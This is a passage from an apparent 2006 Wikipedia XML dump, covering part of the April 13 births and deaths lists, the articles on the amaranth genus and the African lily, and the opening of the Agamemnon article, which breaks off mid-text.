*[[1784]] - [[Friedrich Graf von Wrangel]], Prussian field marshal (d. [[1877]])
*[[1787]] - [[John Robertson (U.S. congressman)|John Robertson]], U.S. congressman (d. [[1873]])
*[[1802]] - [[Leopold Fitzinger]], Austrian zoologist (d. [[1884]])
*[[1808]] - [[Antonio Meucci]], Italian inventor (d. [[1896]])
*[[1825]] - [[Thomas D'Arcy McGee]], Canadian journalist and politician (d. [[1868]])
*[[1828]] - [[Joseph Barber Lightfoot]], English theologian and Bishop of Durham (d. [[1889]])
*[[1832]] - [[Juan Montalvo]], Ecuadoran author (d. [[1889]])
*[[1841]] - [[Louis-Ernest Barrias]], French sculptor (d. [[1905]])
*[[1850]] - [[Arthur Matthew Weld Downing]], British astronomer (d. [[1917]])
*[[1852]] - [[F.W. Woolworth]], American businessman (d. [[1919]])
*[[1860]] - [[James Ensor]], Belgian painter (d. [[1949]])
*[[1866]] - [[Butch Cassidy]], American outlaw (d. [[1908]])
*[[1872]] - [[Alexander Roda Roda]], Austrian writer (d. [[1945]])
*[[1873]] - [[John W. Davis]], American politician (d. [[1955]])
*[[1875]] - [[Ray Lyman Wilbur]], U.S. Secretary of the Interior (d. [[1949]])
*[[1880]] - [[Charles Christie]], Canadian film studio owner (d. [[1955]])
*[[1881]] - [[Ludwig Binswanger]], Swiss psychiatrist (d. [[1966]])
*[[1885]] - [[Georg Lukács]], Hungarian-born philosopher and literary critic (d. [[1971]])
*[[1887]] - [[Gordon S. Fahrni]], Canadian physician and President of the Canadian Medical Association (d. [[1995]])
*[[1889]] - [[Herbert Osborne Yardley]], American cryptographer (d. [[1958]])
*[[1890]] - [[Frank Murphy]], American public servant (d. [[1949]])
*[[1891]] - [[Nella Larsen]], African-American novelist (d. [[1964]])
*[[1892]] - [[Arthur Travers Harris|Arthur Travers 'Bomber' Harris]], British Air Force commander in World War II (d. [[1984]])
*1892 - Sir [[Robert Watson-Watt|Robert Alexander Watson-Watt]], Scottish inventor (d. [[1973]])
*[[1894]] - [[Arthur Fadden]], thirteenth [[Prime Minister of Australia]] (d. [[1973]])
*[[1897]] - [[Werner Voss]], German World War I pilot (d. [[1917]])
*[[1900]] - [[Pierre Molinier]], French painter and photographer (d. [[1976]])
*[[1901]] - [[Jacques Lacan]], French psychoanalyst and semanticist (d. [[1981]])
*[[1902]] - [[Philippe de Rothschild]], French race car driver and wine grower (d. [[1988]])
*[[1904]] - Sir [[Sir David Robinson|David Robinson]], British philanthropist and entrepreneur (d. [[1987]])
*[[1906]] - [[Samuel Beckett]], Irish writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (d. [[1989]])
*[[1907]] - [[Harold Stassen]], American Presidential candidate (d. [[2001]])
*[[1909]] - [[Stanislaw Marcin Ulam]], Polish mathematician (d. [[1984]])
*1909 - [[Eudora Welty]], American writer (d. [[2001]])
*[[1911]] - [[Ico Hitrec]], Croatian footballer (d.[[1946]])
*[[1919]] - [[Roland Gaucher]], French journalist
*1919 - [[Howard Keel]], American actor, singer, and president of the Screen Actors Guild (d. [[2004]])
*1919 - [[Madalyn Murray O'Hair]], American atheist (disappeared [[1995]])
*[[1920]] - [[Roberto Calvi]], Italian banker (d. [[1982]])
*1920 - [[Claude Cheysson]], French politician
*1920 - [[Liam Cosgrave]], fifth [[Taoiseach]] of the [[Republic of Ireland]]
*1920 - [[John LaPorta]], American musician (d. [[2004]])
*[[1922]] - [[John Braine]], British novelist (d. [[1986]])
*1922 - [[Julius Nyerere]], Tanzanian politician (d. [[1999]])
*[[1923]] - [[Don Adams]], American actor and comedian (d. [[2005]])
*[[1924]] - [[Jack Chick]], American evangelist
*1924 - [[Stanley Donen]], American film director
*[[1926]] - [[John Spencer-Churchill, 11th Duke of Marlborough]]
*[[1928]] - [[Alan Clark]], English politician (d. [[1999]])
*[[1931]] - [[Dan Gurney]], American race car driver
*[[1932]] - [[Orlando Letelier]], Chilean politician (d. [[1976]])
*[[1933]] - [[Ben Nighthorse Campbell]], U.S. Senator
*[[1935]] - [[Lyle Waggoner]], American actor
*[[1937]] - [[Edward Fox (actor)|Edward Fox]], English actor 
*1937 - [[Lanford Wilson]], American playwright
*[[1939]] - [[Seamus Heaney]], Irish writer, [[Nobel Prize in Literature|Nobel Prize]] laureate
*1939 - [[Paul Sorvino]], American actor
*[[1941]] - [[Michael Stuart Brown]], American geneticist, recipient of the [[Nobel Prize in Physiology or Medicine]]
*[[1943]] - [[Bill Conti]], American musician
*[[1944]] - [[Jack Casady]], American musician ([[Jefferson Airplane]])
*1944 - [[Susan Davis]], American politician
*[[1945]] - [[Tony Dow]], American actor 
*1945 - [[Bob Kalsu]], American football player (d. [[1970]])
*[[1946]] - [[Al Green (musician)|Al Green]], American singer and pastor
*[[1948]] - [[Sue Doughty]], British politician
*[[1949]] - [[Frank Doran]], Scottish politician
*1949 - [[Christopher Hitchens]], English-born journalist, critic, and author
*[[1950]] - [[Terry Lester]], American actor (d. [[2003]])
*1950 - [[Ron Perlman]], American actor
*1950 - [[William Sadler]], American actor
*[[1951]] - [[Peabo Bryson]], American singer
*1951   - [[Peter Davison]], English actor
*[[1951]] - [[Max Weinberg]], American drummer
*[[1952]] - [[Ron Dittemore]], American space administrator
*1952 - [[David Drew]], British politician
*[[1953]] - [[Stephen Byers]], British politician
*[[1954]] - [[Olsen Brothers|Niels Olsen]], Danish singer and [[Eurovision Song Contest]] winner
*[[1955]] - [[Ole von Beust]], Mayor of Hamburg
*1955 - [[Lupe Pintor]], Mexican boxer
*[[1956]] - [[Peter 'Possum' Bourne]], Australian race car driver (d. [[2003]])
*1956 - [[Alison Wheeler]], British activist
*[[1957]] - [[Saundra Santiago]], American actress
*[[1960]] - [[Rudi Völler]], German football coach
*[[1962]] - [[Hillel Slovak]], Israeli-born guitarist ([[Red Hot Chili Peppers]]) (d. [[1988]])
*1962 - [[Jennifer Rubin]], American actress
*[[1963]] - [[Garry Kasparov]], Russian chess player
*[[1964]] - [[Caroline Rhea]], Canadian actress
*[[1970]] - [[Rebecca Cummings]], American porn star
*1970 - [[Rick Schroder]], American actor
*1970 - [[Gerry Creaney]], Scottish footballer
*[[1971]] - [[Bo Outlaw]], American basketball player
*[[1972]] - [[Mariusz Czerkawski]], Polish hockey player
*1972 - [[Aaron Lewis]], American singer
*[[1974]] - [[Sergei Gonchar]], Russian hockey player
*[[1975]] - [[Lou Bega]], German-born musician and artist
*[[1976]] - [[Jonathan Brandis]], American actor (d. [[2003]])
*1976 - [[Patrick Elias]], Czech hockey player
*[[1978]] - [[Arron Asham]], Canadian hockey player
*[[1979]] - [[Baron Davis]], American basketball player
*[[1980]] - [[Jana Cova]], Czech [[pornographic actress]]
*1980 - [[Quentin Richardson]], American basketball player
*[[1983]] - [[Schalk Burger]], South African rugby player

==Deaths==
*[[799]] - [[Paul the Deacon]], Italian monk and chronicler
*[[814]] - [[Krum]], khan of Bulgaria
*[[1093]] - Prince [[Vsevolod I of Kiev]] (b. [[1093]])
*[[1279]] - [[Boleslaus the Pious]], Polish duke
*[[1605]] - [[Boris Godunov]], Tsar of Russia
*[[1635]] - [[Fahkr-al-Din II]], Druze prince of Lebanon (executed)
*[[1638]] - [[Henri, duc de Rohan]], French Huguenot leader (b. [[1579]])
*[[1641]] - [[Richard Montagu]], English clergyman (b. [[1577]])
*[[1695]] - [[Jean de la Fontaine]], French author (b. [[1621]])
*[[1722]] - [[Charles Leslie]], Irish Anglican theologian (b. [[1650]])
*[[1793]] - [[Pierre Gaspard Chaumette]], French revolutionary (b. [[1763]])
*[[1794]] - [[Nicolas Chamfort]], French writer (b. [[1741]])
*[[1826]] - [[Franz Danzi]], German composer (b. [[1763]])
*[[1853]] - [[Leopold Gmelin]], German chemist (b. [[1788]])
*[[1853]] - [[James Iredell, Jr.]], Governor of North Carolina 1b. [[1788]])
*[[1855]] - [[Henry De la Beche]], English geologist (b. [[1796]])
*[[1868]] - [[Tewodros II]], [[Emperor of Ethiopia]] (b. [[1818]])
*[[1880]] - [[Robert Fortune]], Scottish botanist (b. [[1813]])
*[[1882]] - [[Bruno Bauer]], German theologian (b. [[1809]])
*[[1909]] - [[Whitley Stokes]], British lawyer (b. [[1830]])
*[[1910]] - [[William Quiller Orchardson]], British painter (b. [[1835]])
*[[1911]] - [[George Washington Glick]], Governor of Kansas (b. [[1827]])
*[[1911]] - [[John McLane]], Governor of New Hampshire (b. [[1852]])
*[[1912]] - [[Ishikawa Takuboku]], Japanese author (b. [[1886]])
*[[1925]] - [[Elwood Haynes]], American automobile pioneer
*[[1938]] - [[Grey Owl]], proponent of nature conservation (b. [[1888]])
*[[1941]] - [[Annie Jump Cannon]], American astronomer (b. [[1863]])
*[[1944]] - [[Cécile Chaminade]], French composer and pianist (b. [[1857]])
*[[1945]] - [[Ernst Cassirer]], German philosopher (b. [[1874]])
*[[1962]] - [[Culbert Olson]], Governor of California (b. [[1876]])
*[[1966]] - [[Abdul Salam Arif]], [[President of Iraq]] (b. [[1921]])
*[[1975]] - [[Larry Parks]], American actor (b. [[1914]])
*[[1975]] - [[François (Ngarta) Tombalbaye]], first [[President of Chad]] (b. [[1918]])
*[[1978]] - [[Jack Chambers (artist)|Jack Chambers]], Canadian artist and film maker  (b. [[1931]])
*[[1981]] - Prince [[Asaka Yasuhiko]] of Japan (b. [[1887]])
*[[1984]] - [[Richard Hurndall]]. British actor (b. [[1910]])
*[[1984]] - [[Ralph Kirkpatrick]], American musician (b. [[1911]])
*[[1993]] - [[Wallace Stegner]], American writer (car accident) (b. [[1909]])
*[[1997]] - [[Dorothy Frooks]], American author, publisher, military figure, and actress (b. [[1896]])
*[[1999]] - [[Ortvin Sarapu]], New Zealand chess player &quot;Mr NZ Chess&quot; (b. [[1924]])
*[[1999]] - [[Willi Stoph]], German politician (b. [[1914]])
*[[2000]] - [[Giorgio Bassani]], Italian writer (b. [[1916]])
*[[2001]] - [[Robert Moon]], Postal Inspector and &quot;Father&quot; of the [[ZIP Code]] (b. [[1917]])
*[[2002]] - [[Desmond Titterington]], Northern Irish racecar driver (b. [[1928]])
*[[2004]] - [[Lou Berberet]], baseball player (b. [[1929]])
*2004 - [[Caron Keating]], British television presenter (b. [[1962]])
*[[2005]] - [[Johnnie Johnson (musician)|Johnnie Johnson]], American musician (b. [[1924]])

==Holidays and Observances==
* First day of [[Thai New Year]]

* [[Easter]] - [[2036]]

* First day of [[Cambodian New Year]]

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/april/13 BBC: On This Day]
* [http://www.tnl.net/when/4/13 Today in History: April 13]

----

[[April 12]] - [[April 14]] - [[March 13]] - [[May 13]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:13 April]]
[[ar:13 ابريل]]
[[an:13 d'abril]]
[[ast:13 d'abril]]
[[bg:13 април]]
[[be:13 красавіка]]
[[bs:13. april]]
[[ca:13 d'abril]]
[[ceb:Abril 13]]
[[cv:Ака, 13]]
[[co:13 d'aprile]]
[[cs:13. duben]]
[[cy:13 Ebrill]]
[[da:13. april]]
[[de:13. April]]
[[et:13. aprill]]
[[el:13 Απριλίου]]
[[es:13 de abril]]
[[eo:13-a de aprilo]]
[[eu:Apirilaren 13]]
[[fo:13. apríl]]
[[fr:13 avril]]
[[fy:13 april]]
[[ga:13 Aibreán]]
[[gl:13 de abril]]
[[ko:4월 13일]]
[[hr:13. travnja]]
[[io:13 di aprilo]]
[[id:13 April]]
[[ia:13 de april]]
[[ie:13 april]]
[[is:13. apríl]]
[[it:13 aprile]]
[[he:13 באפריל]]
[[jv:13 April]]
[[ka:13 აპრილი]]
[[csb:13 łżëkwiôta]]
[[ku:13'ê avrêlê]]
[[lt:Balandžio 13]]
[[lb:13. Abrëll]]
[[li:13 april]]
[[hu:Április 13]]
[[mk:13 април]]
[[ms:13 April]]
[[nap:13 'e abbrile]]
[[nl:13 april]]
[[ja:4月13日]]
[[no:13. april]]
[[nn:13. april]]
[[oc:13 d'abril]]
[[pl:13 kwietnia]]
[[pt:13 de Abril]]
[[ro:13 aprilie]]
[[ru:13 апреля]]
[[se:Cuoŋománu 13.]]
[[sq:13 Prill]]
[[scn:13 di aprili]]
[[simple:April 13]]
[[sk:13. apríl]]
[[sl:13. april]]
[[sr:13. април]]
[[fi:13. huhtikuuta]]
[[sv:13 april]]
[[tl:Abril 13]]
[[tt:13. Äpril]]
[[te:ఏప్రిల్ 13]]
[[th:13 เมษายน]]
[[vi:13 tháng 4]]
[[tr:13 Nisan]]
[[uk:13 квітня]]
[[ur:13 اپریل]]
[[wa:13 d' avri]]
[[war:Abril 13]]
[[zh:4月13日]]
[[pam:Abril 13]]</text>
    </revision>
  </page>
  <page>
    <title>Amaranth</title>
    <id>1542</id>
    <revision>
      <id>42105074</id>
      <timestamp>2006-03-03T21:33:24Z</timestamp>
      <contributor>
        <ip>196.207.40.213</ip>
      </contributor>
      <text xml:space="preserve">{{otheruses}}
''Amarant redirects here, for the [[Final Fantasy IX]] character, see: [[Amarant Coral]]''

{{Taxobox
| color = lightgreen
| name = ''Amaranthus''
| image = Amaranthus tricolor0.jpg
| image_width = 250px
| image_caption = ''Amaranthus caudatus'' (Love-lies-bleeding)
| regnum = [[Plant]]ae
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Magnoliopsida]]
| ordo = [[Caryophyllales]]
| familia = [[Amaranthaceae]]
| subfamilia = [[Amaranthoideae]]
| genus = '''''Amaranthus'''''
| genus_authority = [[Carolus Linnaeus|L.]]
| subdivision_ranks = Species
| subdivision = 
See text.
}}

The '''amaranths''' (also called '''pigweeds''') comprise the [[genus]] '''''Amaranthus''''', a widely distributed genus of short-lived [[herb]]s, occurring mostly in temperate and tropical regions.  Although there remains some confusion over the detailed taxonomy, there are about 60 ''Amaranthus'' species.  Several of them are cultivated as [[leaf vegetable]]s, [[cereal]]s, or [[ornamental plant]]s.

Members of this genus share many characteristics and uses with members of the closely related genus ''[[Celosia]]''.

==Cultivation and uses==
Several species are raised for '''amaranth grain''' in [[Asia]] and the [[Americas]].  Amaranth grain is a crop of moderate importance in the [[Himalaya]].  It was one of the staple foodstuffs of the [[Inca]]s, and it is known as '''kiwicha''' in the [[Andes]] today. It was also used by the ancient [[Aztec]]s, who called it '''huautli''', and other Amerindian peoples in [[Mexico]] to prepare ritual drinks and foods. To this day, amaranth grains are toasted much like [[popcorn]] and mixed with [[honey]] or [[molasses]] to make a treat called ''alegría'' (literally &quot;joy&quot;) in [[Mexican Spanish]].

Amaranth was used in several Aztec ceremonies, where images of their gods (notably [[Huitzilopochtli]]) were made with amaranth mixed with honey. The images were cut to be eaten by the people. This looked like the [[Christian]] [[eucharist|communion]] to the [[Catholic]] priests, so the cultivation of the grain was forbidden for centuries.

Because of its importance as a symbol of indigenous culture, and because it is very palatable, easy to cook, and its protein particularly well suited to human [[nutrition]]al needs, interest in [[Amaranth grain|grain amaranth]] (especially ''A. cruentis'' and ''A. hypochondriaca'') was revived in the [[1970s]].  It was recovered in Mexico from wild varieties and is now commercially cultivated.   It is a popular snack sold on almost every block of [[Mexico City]], sometimes mixed with [[chocolate]] or [[puffed grain|puffed rice]], and its use has spread to [[Europe]] and [[North America]].  Besides [[protein]], [[Amaranth grain|amaranth grain]] provides a good source of [[dietary fiber]] and [[dietary mineral]]s such as [[iron]], [[magnesium]], [[phosphorus]], [[copper]], and especially [[manganese]].

'''Amaranth greens''', also called '''Chinese spinach''', '''hinn choy''' or '''yin tsoi''' ({{zh-sp|s=苋菜|p=xiàncài}}), '''callaloo''', '''tampala''', or '''quelite''', are a common leaf vegetable throughout the tropics and in many warm temperate regions.  They are a very good source of [[vitamin]]s including [[vitamin A]], [[vitamin B6]], [[vitamin C]], [[riboflavin]], and [[folate]], and dietary minerals including [[calcium]], [[iron]], [[magnesium]], [[phosphorus]], [[potassium]], [[zinc]], [[copper]], and [[manganese]].  However their moderately high content of [[oxalic acid]] inhibits the absorption of calcium, and also means that they should be avoided or eaten in moderation by people with [[kidney]] disorders, [[gout]], or [[rheumatoid arthritis]].

The flowers of the Hopi Red Dye amaranth were used by the Hopi Indians as the source of a deep red dye. This dye has been supplanted by a coal tar dye known as [[Red No. 2]] in North America and E123 in the [[European Economic Community|E.E.C.]], also known as amarynth.

The genus also contains several well-known ornamental plants, such as ''A. caudatus'' (love-lies-bleeding), a native of [[India]] and a vigorous, hardy annual with dark purplish [[flower]]s crowded in handsome drooping spikes. Another Indian annual, ''A. hypochondriacus'' (prince's feather), has deeply-veined lance-shaped leaves, purple on the under face, and deep crimson flowers densely packed on erect spikes.

Amaranths are recorded as food plants for some [[Lepidoptera]] species including [[Nutmeg (moth)|The Nutmeg]] and various case-bearers of the genus ''[[Coleophora]]'': ''C. amaranthella'', ''C. enchorda'' (feeds exclusively on ''Amaranthus''), ''C. immortalis'' (feeds exclusively on ''Amaranthus''), ''C. lineapulvella'' and ''C. versurella'' (recorded on ''A. spinosus'').

== Myth, legend and poetry ==
'''Amaranth''', or Amarant (from the [[Greek language|Greek]] ''amarantos'', unwithering), a name chiefly used in poetry, and applied to Amaranth and other plants which, from not soon fading, typified immortality. Thus, in [[John Milton|Milton's]] [[Paradise Lost]], iii. 353:  

&lt;blockquote&gt;
:&quot;Immortal amarant, a flower which once 
:In paradise, fast by the tree of life,
:Began to bloom; but soon for man's offence
:To heaven removed, where first it grew, there grows,
:And flowers aloft, shading the fount of life,
:And where the river of bliss through midst of heaven
:Rolls o'er elysian flowers her amber stream:
:With these that never fade the spirits elect
:Bind their resplendent locks.&quot;
&lt;/blockquote&gt;

The progessive metal band, Opeth, refers to Amaranth in the extent of immortallity in the song Blackrose Immortal:

&lt;blockquote&gt;
:&quot;Lullaby of the crescent moon took you
:Mesmerized, its kaleidoscopic face
:Granted you a hollow stare
:Another soul within the divine herd
:I have kept it
:The amaranth symbol
:Hiddin inside the golden shrine
:Until we rejoice in the meadow
:Of the end
:When we both walk the shadows
:It will set ablaze and vanish
:Black rose immortal&quot;
&lt;/blockquote&gt;

The original spelling is ''amarant''; the more common spelling ''amaranth'' seems to have come from a [[folk etymology]] assuming that the final syllable derives from the Greek word ''anthos'' (&quot;flower&quot;), common in botanical names. 

In ancient [[Greece]] the amaranth (also called chrusanthemon and elichrusos) was sacred to Ephesian [[Artemis]]. It was supposed to have special healing properties, and as a symbol of 
immortality was used to decorate images of the gods and tombs. In legend, [[Amarynthus]] (a form of Amarantus) was a hunter of Artemis and king of [[Euboea]]; in a village of Amarynthus, of which he was the eponymous hero, there was a famous temple of Artemis Amarynthia or Amarysia (Strabo x. 448; Pausan. i. 31, p. 5).

''Amaranth'' is also the name of the otherworldly pantheon that amuses itself by toying with individuals' luck in [[Tim Lebbon]]'s novella &quot;The Unfortunate&quot;.

&quot;Amaranth&quot; is also the name of a long [[Sapphic]] poem by the great [[imagiste]] [[H.D.]], and is based on [[Sappho]]'s fragment 131.

In [[White Wolf, Inc.|White Wolf Game Studio]]'s [[Vampire: The Dark Ages]] [[book]]s and [[role-playing game]]s, ''Amaranth'' is the medieval name of what then was widely known as ''[[Diablerie]]'' (consuming the blood and soul of another vampire).

''Amarantine'' is the name of a 2005 album and single by Irish vocal artist [[Enya]].

&quot;Love-Lies-Bleeding&quot; is the title of a 2005 play by [[Don DeLillo]].

== Selected species ==
* ''Amaranthus acanthochiton'' (Greenstripe)
* ''Amaranthus acutilobius'' (Sharplobe Amaranth)
* ''Amaranthus albus'' (White Pigweed, Prostrate Pigweed, Pigweed Amaranth)
* ''Amaranthus arenicola'' (Sandhill Amaranth)
* ''Amaranthus australis'' (Southern Amaranth)
* ''Amaranthus bigelovii'' (Bigelow's Amaranth)
* ''Amaranthus blitoides'' (Mat Amaranth, Prostrate Amaranth, Prostrate Pigweed)
* ''Amaranthus blitum'' (Purple Amaranth)
* ''Amaranthus brownii'' (Brown's Amaranth)
* ''Amaranthus californicus'' (California Amaranth, California Pigweed)
* ''Amaranthus cannabinus'' (Tidal-marsh Amaranth)
* ''Amaranthus caudatus'' (Loves-lies-bleeding, Pendant Amaranth, Tassel Flower, Quilete)
* ''Amaranthus chihuahuensis'' (Chihuahuan Amaranth)
* ''Amaranthus chlorostachys''
* ''Amaranthus crassipes'' (Spreading Amaranth)
* ''Amaranthus crispus'' (Crispleaf Amaranth)
* ''Amaranthus cruentus'' (Purple Amaranth, Red Amaranth, Mexican Grain Amaranth)
* ''Amaranthus deflexus'' (Large-fruit Amaranth)
* ''Amaranthus dubius'' (Spleen Amaranth, Khada Sag)
* ''Amaranthus fimbriatus'' (Fringed Amaranth, Fringed Pigweed)
* ''Amaranthus floridanus'' (Florida Amaranth)
* ''Amaranthus greggii'' (Gregg's Amaranth)
* ''Amaranthus hybridus'' (Smooth Amaranth, Smooth Pigweed, Red Amaranth)
* ''Amaranthus hypochondriacus'' (Prince-of-Wales-feather, Princess Feather)
* ''Amaranthus leucocarpus''
* ''Amaranthus lineatus'' (Australian Amaranth)
* ''Amaranthus lividus''
* ''Amaranthus mantegazzianus'' (Quinoa de Castilla)
* ''Amaranthus minimus''
* ''Amaranthus muricatus'' (African Amaranth)
* ''Amaranthus obcordatus'' (Trans-Pecos Amaranth)
* ''Amaranthus palmeri'' (Palmer's Amaranth, Carelessweed)
* ''Amaranthus paniculus'' (Reuzen Amaranth)
* ''Amaranthus polygonoides'' (Tropical Amaranth)
* ''Amaranthus powelii'' (Green Amaranth, Powell Amaranth, Powell Pigweed)
* ''Amaranthus pringlei'' (Pringle's Amaranth)
* ''Amaranthus pumilus'' (Seaside Amaranth)
* ''Amaranthus quitensis'' (Ataco, Sangorache)
* ''Amaranthus retroflexus'' (Red-root Amaranth, Redroot Pigweed, Common Amaranth)
* ''Amaranthus rudis'' (Tall Amaranth, Common Waterhemp)
* ''Amaranthus scleropoides'' (Bone-bract Amaranth)
* ''Amaranthus spinosus'' (Spiny Amaranth, Prickly Amaranth, Thorny Amaranth)
* ''Amaranthus standleyanus''
* ''Amaranthus thunbergii'' (Thunberg's Amaranth)
* ''Amaranthus torreyi'' (Torrey's Amaranth)
* ''Amaranthus tricolor'' (Joseph's-coat)
* ''Amaranthus tuberculatus'' (Rough-fruit Amaranth, Tall Waterhemp)
* ''Amaranthus viridis'' (Slender Amaranth, Green Amaranth)
* ''Amaranthus watsonii'' (Watson's Amaranth)
* ''Amaranthus wrightii'' (Wright's Amaranth)

== References and external links ==
{{Commonscat|Amaranthus}}
* Lenz, ''Botanik der alt. Greich. und Rom.'' Botany of old. (1859)
* J. Murr, ''Die Pflanzenwelt in der griech. Mythol.'' Plants in Greek Mythology. (1890)
* [http://www.hear.org/starr/hiplants/images/thumbnails/html/amaranthus_hybridus_thumbnails.htm Amaranthus hybridus]
* [http://www.hear.org/starr/hiplants/images/thumbnails/html/amaranthus_spinosus_thumbnails.htm Amaranthus spinosus]
* [http://www.hear.org/starr/hiplants/images/600max/html/starr_010520_0109_amaranthus_viridis.htm Amaranthus viridis]
* [http://flora.huh.harvard.edu:8080/flora/browse.do?flora_id=1&amp;taxon_id=101257 Flora online : Flora of North America]
* [http://amaranth.twoday.net/topics/Amaranthus+Info/ Amaranthus Info]
* [http://www.hort.purdue.edu/newcrop/afcm/amaranth.html Alternate Field Crops Manual]

&lt;gallery&gt;
Image:Amaranthus caudatus1.jpg|Loves-lies-bleeding (Amaranthus caudatus)
Image:Amaranthus.hybridus1web.jpg|Green Amaranth (''A. hybridus'')
Image:Seabeach Amaranth.jpg|Seabeach amaranth (''A. pumilus''), an [[endangered species]] of amaranth
Image:Illustration Amaranthus retroflexus0.jpg|Red-root Amaranth (''A. retroflexus'') - from Thomé, ''Flora von Deutschland, Österreich und der Schweiz'' 1885
Image:Amaranthus.spinosus1web.jpg|Spiny Amaranth (''Amaranthus spinosus'')
Image:Amaranthus spinosus c.jpg|Callaloo (''Amaranthus spinosus &quot;calaloo&quot;'')
Image:Amaranthus.viridis1web.jpg|Green Amaranth (''Amaranthus viridis'')
&lt;/gallery&gt;

[[Category:Caryophyllales]]
[[Category:Cereals]]
[[Category:Grains]]
[[Category:Leaf vegetables]]
[[Category:Tropical agriculture]]
[[Category:Underutilized crops]]

[[cs:Laskavec]]
[[de:Amarant (Lebensmittel)]]
[[eo:Amaranto nutraĵa]]
[[es:Amaranto]]
[[fr:Amarante]]
[[it:Amaranto (alimento)]]
[[nl:Amarant (geslacht)]]</text>
    </revision>
  </page>
  <page>
    <title>African lily</title>
    <id>1543</id>
    <revision>
      <id>37287116</id>
      <timestamp>2006-01-30T00:52:11Z</timestamp>
      <contributor>
        <username>Gdrbot</username>
        <id>263608</id>
      </contributor>
      <minor />
      <comment>nomialbot — converted multi-template taxobox to {{Taxobox}}</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = African Lily
| image = Agapanthus africanus.jpg
| image_width = 200px
| image_caption = Flowers
| regnum = [[Plant]]ae
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Liliopsida]]
| ordo = [[Asparagales]]
| familia = [[Alliaceae]]
| genus = '''''[[Agapanthus]]'''''
| species = '''''A. umbellatus'''''
| binomial = ''Agapanthus umbellatus''
| binomial_authority = [[Charles Louis L'Héritier de Brutelle|L'Hér.]]
}}
The '''African lily''' (''Agapanthus umbellatus'') is a member of the [[family (biology)|family]] [[Alliaceae]] and a native of the [[Cape of Good Hope]], from where it was introduced to [[Europe]] at the close of the [[17th century]].

== Description ==

The African lily has a short stem bearing a tuft of long, narrow, arching leaves 1/2 to 2 ft. long and a central flower stalk 2 to 3 ft. high, ending in an umbel of bright blue, funnel-shaped flowers.

Several cultivars are known, such as albidus (white flowers), aureus (leaves striped with yellow), and variegatus (leaves almost entirely white with a few green bands). There are also double-flowered and larger- and smaller-flowered forms.

== Cultivation ==

The African lily is a handsome greenhouse plant and is hardy in the south of [[England]] and [[Ireland]] if protected from severe frosts. The plants are easy to cultivate and (in areas that have winter) are generally grown in large pots or tubs that can be protected from frost.

During the summer they require plenty of water and are very effective on the margins of lakes or by running streams, where they thrive.

== Propagation ==

They may be propagated from offsets or by dividing the rootstock in early spring or autumn.


==References==
*{{1911}}

[[Category:Flowers]]
[[Category:Asparagales]]</text>
    </revision>
  </page>
  <page>
    <title>Agamemnon</title>
    <id>1544</id>
    <revision>
      <id>42055639</id>
      <timestamp>2006-03-03T14:21:46Z</timestamp>
      <contributor>
        <username>Haiduc</username>
        <id>80885</id>
      </contributor>
      <comment>rev. blanking to last version by Haiduc</comment>
      <text xml:space="preserve">{{OtherUses|a character in Greek mythology}}

[[Image:MaskeAgamemnon.JPG|thumb|250px|right|The so-called '[[Mask of Agamemnon]]'. Discovered by [[Heinrich Schliemann]] in [[1876]] at [[Mycenae]].]]

'''Agamémnon''' ([[Greek language|Greek]]: '''{{polytonic|Ἀγαμέμνων}}''') (&quot;very resolute&quot;), one of the most distinguished heroes of [[Greek mythology]], was the son of King [[Atreus]] of [[Mycenae]] (or [[Argos]]) and Queen [[Aerope]], and brother of [[Menelaus]]. 
==Early life==
Agamemnon's father Atreus was murdered by [[Aegisthus]], who took possession of the throne of Mycenae and ruled jointly with his father [[Thyestes]]. During this period Agamemnon and Menelaus took refuge with [[Tyndareus]], king of [[Sparta]]. There they respectively married Tyndareus' daughters [[Clytemnestra]] and [[Helen]].  Agamemnon and Clytemnestra had four children: three daughters, [[Iphigeneia]], [[Electra]], and [[Chrysothemis]], and one son, [[Orestes (mythology)|Orestes]].  

Menelaus succeeded Tyndareus in Sparta, while Agamemnon, with his brother's assistance, drove out Aegisthus and Thyestes to recover his father's kingdom. He extended his dominion by conquest and became the most powerful prince in Greece.  

However, Agamemnon's family history, dating back to legendary king [[Pelops]], had been marred by [[rape|pederastic rape]], [[murder]], [[incest]], and [[treachery]]. The Greeks believed this violent past brought misfortune upon the entire [[House of Atreus]].

==The Trojan War==
[[Image:300px-Iphigenia.jpg|thumb|right|150px|The sacrifice of [[Iphigenia]].]]

Agamemnon gathered together the Greek forces to sail for Troy. Preparing to depart from [[Aulis]], a port in [[Boeotia]], Agamemnon's army incurred the wrath of the goddess [[Artemis]] by slaying an animal sacred to her, and by Agamemnon boasting that he was Artemis' equal in hunting.  Misfortunes including a plague and a lack of wind prevented the army from sailing; finally, the prophet [[Calchas]] announced that the wrath of the goddess could only be propitiated by the sacrifice of [[Iphigeneia]] (daughter of Agamemnon). Classical dramatizations differ on how willing either father or daughter were to this fate, but Agamemnon did eventually sacrifice Iphigenia. Her death appeased Artemis and the Greek army set out for Troy. Several alternatives to the human sacrifice have been presented in Greek mythology. Other sources claim Agamemnon was prepared to kill his daughter, but Artemis accepted a deer in place of Iphigenia, and whisked her to Taurus in the [[Crimea]]. [[Hesiod]] said she became the goddess [[Hecate]].

Agamemnon was the commander-in-chief of the Greeks during the [[Trojan War]]. During the fighting, Agamemnon killed [[Antiphus]]. Agamemnon's teamster, [[Halaesus]], later fought with [[Aeneas]] in [[Italy]]. The ''[[Iliad]]'' tells the story of the quarrel between Agamemnon and [[Achilles]] in the final year of the war.  Agamemnon took an attractive slave and spoil of war [[Briseis]] from Achilles. [[Achilles]], the greatest warrior of the age, withdrew from battle in revenge and nearly cost the Greek armies the war.

Although not the equal of [[Achilles]] in bravery, Agamemnon was a dignified representative of kingly authority.  As commander-in-chief, he summoned the princes to the council and led the army in battle. He took the field himself, and performed many heroic deeds until he was wounded and forced to withdraw to his tent. His chief fault was his overweening [[haughtiness]]. An over-exalted opinion of his position led him to insult [[Chryses]] and [[Achilles]], thereby bringing great disaster upon the Greeks.  

After the capture of Troy, [[Cassandra]], doomed prophetess and daughter of [[Priam]], fell to his lot in the distribution of the prizes of war.

==Return to Greece==
